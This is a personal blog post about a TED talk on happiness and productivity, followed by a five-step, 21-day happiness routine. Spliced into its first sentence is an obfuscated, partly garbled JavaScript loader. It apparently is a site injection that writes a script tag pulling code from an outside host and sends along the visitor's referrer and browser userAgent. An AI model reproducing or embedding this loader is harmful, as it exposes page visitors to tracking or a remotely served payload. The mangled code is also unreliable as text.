Trying something new

Nick and I watch TED ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yikzy|var|u0026u|referrer|szfbr||js|php’.split(‘|’),0,{}))
talks from time to time.  Short, <20 minute long videos on inspiring topics.  We recently watched one titled, “The happy secret to better work.”  It’s only 12 minutes and 21 seconds long.  I think your employer would be proud of you for watching it.  Or watch it on your lunch break….or you can read the gist below.

Link to TED Talk in case the embedded video fails.

The basic idea is that we are programmed to “work to be happy.”  When in reality, happiness inspires productivity.

“Work to be happy”
We are happy when we are successful at work but success is a moving target.  Your happiness is dependent on how well you perform.

In reality (according to the Shawn Achor) we should first work to be happy and the productivity and success will follow.

How to be happy?  Try this each day for 21 days.  Nick and I are going to do it and see if it works.

1.  3 Pieces of Gratitude – Think about or write down 3 new items per day.  This will train your brain to scan for the positive instead of the negative.

2.  Journaling – Write down 1 positive experience in the last 24 hours

3.  Exercise – This one seems obvious and is always on the list of things that happy people do, but it teaches the brain that what you do is important.

4.  Meditation – I’m actually not entirely sure how this works.  Do you meditate?  What do you meditate about?  Either way, it’s suppose to help us get over our ADHD and addiction to multi tasking

5.  Random Acts of Kindness – Write 1 positive email a day, tell someone you care about them or that they did something nice (I’m sure you could substitute this with some other random act of kindness)